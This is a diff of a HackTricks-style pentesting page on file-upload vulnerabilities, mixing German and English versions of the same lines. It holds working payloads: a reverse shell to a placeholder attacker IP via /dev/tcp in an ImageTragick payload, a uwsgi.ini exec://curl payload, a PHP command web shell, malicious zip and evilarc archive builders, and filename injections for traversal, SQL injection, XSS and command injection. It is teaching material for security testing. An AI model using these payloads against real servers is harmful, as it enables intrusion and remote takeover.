-- Die Webseite könnte das **image** auch skalieren (z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`). Du könntest jedoch den **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **compression** übersteht.
+- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Eine weitere Technik, um ein Payload zu erstellen, das ein Bild-Resizing überlebt, nutzt die PHP-GD-Funktion `thumbnailImage`. Du könntest jedoch den **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **compression** überlebt.
+- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
-### Weitere Tricks zum Prüfen
+### Other Tricks to check
 
-- Finde eine Verwundbarkeit, um die bereits hochgeladene Datei zu **rename** (z. B. die Extension zu ändern).
-- Finde eine **Local File Inclusion**-Vulnerabilität, um die Backdoor auszuführen.
-- **Mögliche Informationsoffenlegung**:
-1. Lade dieselbe Datei **mehrfach** (und zur **gleichen Zeit**) mit demselben Namen hoch.
-2. Lade eine Datei hoch, deren **name** einer bereits existierenden **file** oder **folder** entspricht.
-3. Upload einer Datei mit **"." , ".." oder "…"** als Namen. Zum Beispiel: In Apache unter **Windows**, wenn die Anwendung hochgeladene Dateien im Verzeichnis "/www/uploads/" speichert, erzeugt die Datei mit dem Namen "." eine Datei namens "uploads" im Verzeichnis "/www/".
-4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"…:.jpg"** in **NTFS**. (Windows)
-5. Lade in **Windows** eine Datei mit **invalid characters** wie `|<>*?”` im Namen hoch. (Windows)
-6. Lade in **Windows** eine Datei mit **reserved** (**forbidden**) **names** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
-- Versuche außerdem, eine **executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie vom Opfer versehentlich geöffnet wird.
+- Finde eine Schwachstelle, um die bereits hochgeladene Datei zu **umbenennen** (z. B. um die Erweiterung zu ändern).
+- Finde eine **Local File Inclusion**-Schwachstelle, um den Backdoor auszuführen.
+- **Mögliche Informationslecks**:
+1. Lade **mehrfach** (und zur **gleichen Zeit**) dieselbe **Datei** mit demselben **Namen** hoch.
+2. Lade eine Datei mit dem **Namen** einer **Datei** oder **Ordner**, der bereits existiert, hoch.
+3. Hochladen einer Datei mit **".”, "..”, oder "…” als Name**. Zum Beispiel erzeugt unter Apache in **Windows**, wenn die Anwendung die Dateien im Verzeichnis "/www/uploads/” speichert, der Dateiname "." eine Datei namens "uploads” im Verzeichnis "/www/”.
+4. Lade eine Datei hoch, die nicht leicht gelöscht werden kann, wie **"…:.jpg”** in **NTFS**. (Windows)
+5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` im Namen hoch. (Windows)
+6. Lade eine Datei in **Windows** mit reservierten (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, und LPT9 hoch.
+- Versuche außerdem, ein ausführbares Programm (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, das **Code ausführt**, wenn es versehentlich vom Opfer geöffnet wird.
 
 ### Special extension tricks
 
-Wenn du versuchst, Dateien auf einen **PHP server** hochzuladen, siehe den **.htaccess**-Trick, um Code auszuführen: [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-Wenn du Dateien auf einen **ASP server** hochladen willst, siehe den **.config**-Trick, um Code auszuführen: [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Die `.phar`-Dateien sind wie die `.jar` für Java, aber für php, und können **wie eine php-Datei verwendet werden** (mit php ausgeführt oder in ein Skript inkludiert...).
+The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
 
-Die `.inc`-Extension wird manchmal für php-Dateien verwendet, die nur zum **Importieren von Dateien** dienen, sodass jemand zu einem Zeitpunkt diese **Extension zur Ausführung zugelassen haben könnte**.
+The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
 
 ## **Jetty RCE**
 
-Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Daher, wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
+If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte eine Shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Für eine detaillierte Untersuchung dieser Vulnerability siehe die Originalforschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Remote Command Execution (RCE)-Vulnerabilities können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magic" Variablen, Platzhalter und Operatoren einzubinden. Insbesondere der '@'-Operator, verwendet als `@(filename)`, ist dazu gedacht, den Inhalt einer Datei einzuschließen. Unter den verschiedenen unterstützten schemes in uWSGI ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann missbraucht werden, z. B. für Remote Command Execution oder Arbitrary File Write/Read, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
+Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
 
-Betrachte das folgende Beispiel einer bösartigen `uwsgi.ini`-Datei, die verschiedene schemes demonstriert:
+Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
 ```ini
 [uwsgi]
 ; read from a symbol
@@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
+Die Ausführung des payload erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund einer Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
 
-Es ist entscheidend, die nachlässige Natur des Parsings der uWSGI-Konfigurationsdatei zu verstehen. Konkret kann der hier diskutierte payload in eine Binärdatei (wie ein Image oder PDF) eingefügt werden, wodurch sich das potenzielle Exploit-Spektrum weiter erweitert.
+Es ist entscheidend, die lasche Natur des Parsings von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine Binärdatei (z. B. ein Bild oder PDF) eingebettet werden, wodurch sich das Exploit-Szenario weiter ausweitet.
 
 ## **wget Datei-Upload/SSRF Trick**
 
-In manchen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und Sie die **URL** angeben können. In diesen Fällen prüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings kann **diese Prüfung umgangen werden.**\  
-Die **maximale** Länge eines **Dateinamens** unter **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst eine Datei namens **"A"\*232+".php"+".gif"** herunterladen; dieser Dateiname wird die **Prüfung umgehen** (in diesem Beispiel ist **".gif"** eine **gültige** Erweiterung), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
+In manchen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen** und dass du die **URL** angeben kannst. In solchen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings **kann diese Prüfung umgangen werden.**\  
+Die **maximale** Länge eines **Dateinamens** in **linux** ist **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst **eine Datei namens "A"\*232+".php"+".gif"** herunterladen — dieser Dateiname wird die **Prüfung** umgehen (in diesem Beispiel ist **".gif"** eine **gültige** Extension), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -186,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Beachte, dass eine **andere Option**, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den **HTTP server redirect to a different file** zu machen, sodass die ursprüngliche URL die Prüfung umgeht und wget anschließend die weitergeleitete Datei mit dem neuen Namen herunterladen würde. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die weitergeleitete Seite mit dem Namen der Datei herunterladen wird, der in der Original-URL angegeben ist**.
+Beachte, dass **eine weitere Option**, die dir vielleicht einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server** so umzuleiten, dass er auf eine andere Datei zeigt, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei unter dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**.
 
 ## Tools
 
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters beim Testen von Datei-Upload-Mechanismen unterstützt. Es nutzt verschiedene bug bounty techniques, um den Prozess der Identifikation und Ausnutzung von Schwachstellen zu vereinfachen und umfassende Bewertungen von Webanwendungen zu ermöglichen.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein mächtiges Tool, das Pentesters und Bug Hunters beim Testen von file upload mechanisms unterstützt. Es nutzt verschiedene bug bounty techniques, um den Prozess des Auffindens und Ausnutzens von Vulnerabilities zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen.
 
-### Korruption von Upload-Indizes durch snprintf quirks (historisch)
+### Corrupting upload indices with snprintf quirks (historical)
 
-Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um Multi-File-Arrays aus einem Single-File-Upload zu erstellen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidung im Verhalten von `snprintf()` kann ein sorgfältig gestalteter Einzel-Upload auf der Serverseite wie mehrere indexierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. ihn als Multi-File-Upload behandelt und unsichere Zweige wählt). Obwohl heute eher Nische, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.
+Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
 
-## Von File upload zu anderen Schwachstellen
+## From File upload to other vulnerabilities
 
-- Setze den **Dateiname** auf `../../../tmp/lol.png` und versuche eine **path traversal**
-- Setze den **Dateiname** auf `sleep(10)-- -.jpg` und du könntest eine **SQL injection** erreichen
-- Setze den **Dateiname** auf `<svg onload=alert(document.domain)>` um ein **XSS** zu erzielen
-- Setze den **Dateiname** auf `; sleep 10;` um einige command injection Tests durchzuführen (mehr [command injections tricks here](../command-injection.md))
+- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
+- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
+- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
+- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
-- Probiere **verschiedene svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Wenn du den Webserver anweisen kannst, ein **image** von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einer **public** Stelle gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und Informationen jedes Besuchers **stehlen**.
+- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
-- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den dortigen Anweisungen ausführt.
-- Lade den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu prüfen, ob der Server ein **antivirus** hat
-- Prüfe, ob es eine **size limit** beim Hochladen von Dateien gibt
+- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
+- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
+- Check if there is any **size limit** uploading files
 
-Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Hier eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@@ -239,15 +239,15 @@ https://github.com/portswigger/upload-scanner
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
 
-Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.
+Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
 
 ## Zip/Tar File Automatically decompressed Upload
 
-Wenn du eine ZIP hochladen kannst, die auf dem Server entpackt wird, kannst du zwei Dinge tun:
+If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
 
 ### Symlink
 
-Lade ein Archiv hoch, das symbolische Links (soft links) zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du dann auf die verlinkten Dateien zu:
+Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@@ -255,18 +255,18 @@ tar -cvf test.tar symindex.txt
 ```
 ### In verschiedene Ordner entpacken
 
-Die unerwartete Erstellung von Dateien in Verzeichnissen während des Entpackens ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration vor OS-level command execution durch malicious file uploads schützen könnte, lassen sich die Unterstützung verschachtelter Komprimierung und die directory traversal-Fähigkeiten des ZIP archive format ausnutzen. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren upload directories entkommen, indem sie die decompression functionality der Zielanwendung manipulieren.
+Die unerwartete Erstellung von Dateien in Verzeichnissen während des Dekomprimierens ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration vor OS-level command execution durch bösartige Dateiuploads schützen könnte, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP-Archive-Formats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.
 
-Ein automatisierter exploit zum Erstellen solcher Dateien ist unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das utility kann wie folgt verwendet werden:
+Ein automatisierter Exploit, um solche Dateien zu erstellen, ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei auf Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.
+Außerdem ist **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.
 
-Unten folgt ein Beispiel für Python-Code, der verwendet wird, um eine bösartige zip-Datei zu erstellen:
+Unten ist ein Beispiel für Python-Code, der verwendet wird, um eine bösartige ZIP-Datei zu erstellen:
 ```python
 #!/usr/bin/python
 import zipfile
@@ -284,11 +284,11 @@ zip.close()
 
 create_zip()
 ```
-**Ausnutzen von Kompression für file spraying**
+**Missbrauch der Kompression für file spraying**
 
 Für weitere Details **siehe den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle aus der Variable `$_REQUEST` auszuführen.
+1.  **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
 
 ```php
 <?php
@@ -298,14 +298,14 @@ system($cmd);
 }?>
 ```
 
-2.  **File Spraying und Erstellen einer komprimierten Datei**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
+2.  **File Spraying und Erstellung komprimierter Dateien**: Mehrere Dateien werden erstellt und ein zip-Archiv zusammengestellt, das diese Dateien enthält.
 
 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des zip werden mit vi oder einem Hex-Editor verändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
+3.  **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im zip werden mit vi oder einem Hex-Editor verändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
 
 ```bash
 :set modifiable
@@ -315,40 +315,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Lade diesen Inhalt mit einer Bild-Dateierweiterung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
+Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Verwundbarkeit auszunutzen **(ImageMagick , 7.0.1-1)** (siehe den [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Einbetten einer PHP shell in PNG
+## Einbetten einer PHP Shell in PNG
 
-Das Einbetten einer PHP shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Verkleinern bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP shell von diesen Operationen unberührt bleibt, ist für bestimmte Anwendungsfälle ein wesentlicher Vorteil.
+Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist in bestimmten Anwendungsfällen ein großer Vorteil.
 
-Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Vorgehens und seiner Implikationen.
+Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
 
-More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
+Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 
-## Polyglot Files
+## Polyglot-Dateien
 
-Polyglot files fungieren als einzigartiges Werkzeug in der Cybersecurity und verhalten sich wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf dieses Paar beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
+Polyglot-Dateien dienen als vielseitiges Werkzeug in der Cybersicherheit und können gleichzeitig in mehreren Dateiformaten gültig existieren. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
 
-Der Hauptnutzen von polyglot files liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand des Typs filtern. Üblich ist in vielen Anwendungen, nur bestimmte Dateitypen für Uploads zu erlauben — wie JPEG, GIF oder DOC — um das Risiko durch potenziell gefährliche Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot kann jedoch, indem es die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen heimlich umgehen.
+Der Hauptnutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs prüfen. In vielen Anwendungen ist es üblich, nur bestimmte Dateitypen wie JPEG, GIF oder DOC für Uploads zuzulassen, um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar) zu verringern. Ein Polyglot kann jedoch, indem es die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unbemerkt umgehen.
 
-Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Grenzen. Zum Beispiel kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, doch der Erfolg des Uploads kann von den Richtlinien der Plattform bezüglich Dateiendungen abhängen. Wenn das System strikt bei erlaubten Extensions ist, reicht die bloße strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
+Trotz ihrer Anpassungsfähigkeit haben Polyglots Einschränkungen. Beispielsweise kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und eine JPEG darstellen, doch der erfolgreiche Upload kann von den Richtlinien der Plattform bezüglich Dateiendungen abhängen. Wenn das System streng auf erlaubte Extensions achtet, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
 
-More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-### Upload valid JSONs like if it was PDF
+### Gültige JSONs hochladen, als wären es PDF
 
-Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, obwohl dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 
-- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 Bytes sind, ist sie gültig (Beispiel im Beitrag)
-- **`pdflib` library**: Füge ein gefälschtes PDF-Format innerhalb eines Felds der JSON hinzu, sodass die Library denkt, es sei ein PDF (Beispiel im Beitrag)
